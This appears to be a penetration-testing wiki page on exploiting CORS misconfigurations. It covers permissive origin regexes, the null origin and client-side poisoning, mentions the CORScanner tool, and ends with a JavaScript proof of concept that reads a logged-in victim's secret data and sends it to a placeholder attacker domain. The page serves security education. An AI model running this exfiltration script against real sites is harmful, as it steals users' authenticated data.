Sometimes browsers need to load resources from another origin other than their own. The Same-Origin Policy mechanism (SOP) restricts access to resources on other origins.
{% hint style="info" %} The same-origin is defined for two URLs that have the same protocol, port (if specified), and host. {% endhint %}
To bypass this limitation, the JSON-P technique (in JavaScript) was introduced. To retrieve information from another origin, it uses the <script>
tag (which is not blocked by the SOP). Unfortunately, this technique has some issues and lacks controls in some cases. Here we introduce CORS.
Cross-Origin Resource Sharing (CORS) is a header-based mechanism. It improves security and flexibility for cross-domain resource sharing. CORS is relatively new and therefore, not very well-known. As result, misconfigurations are common and bring security concerns. The main vulnerabilities lie in the overly permissive access to credentials from non-controlled domains.
The exploitation will depend on the misconfiguration. The next image shows a path that can be followed:
Misconfiguration:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: regex
The origins are verified through a regex match.
The misconfiguration types can be better understood with this table:
{% hint style="warning" %} The configuration below is impossible:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
{% endhint %}
Misconfiguration:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: null
According to James Kettle, browsers might send the value null
in the Origin
header in some unusual situations:
- Cross-site redirects.
- Requests from serialized data.
- Request using the
file:
protocol. - Sandboxed cross-origin requests.
The value null
when the server sends credentials is the worst-case scenario. It means any origin can request credentials without limitation.
Misconfiguration:
Access-Control-Allow-Credentials: false
Access-Control-Allow-Origin
is dynamically generatedVary: Origin
is absent
In this case, it's possible to conduct a client-side poisoning.
Check James Kettle's explanation for more information.
During a penetration test, exploiting CORS misconfigurations is difficult. The attacks may rely on manipulating a victim or even finding configuration issues on other domains (which can be out of scope).
However, it's possible to get a Proof-of-Concept using JavaScript by registring a domain (to abuse a CORS misconfiguration).
The tool CORScanner is useful in finding misconfigurations. It relies on the table shown in the misconfiguration case 1.
python cors_scan.py -u $URL
{% hint style="info" %}
It is advised to use the verbose option -v
to see the tests.
{% endhint %}
{% hint style="warning" %}
It is possible to customize the third parties origins in the file origins.json
.
{% endhint %}
To steal sensitive information, the victim has to be logged in the vulnerable website. From there, if the victim is redirected to the attacker's website (containing the script below), the sensitive information will be retrieved by the attacker.
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.domain/api/secret-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//atttacker.domain/log?response='+this.responseText;
};
{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}
{% embed url="https://www.jianjunchen.com/publication/an-empirical-study-of-cors/" %}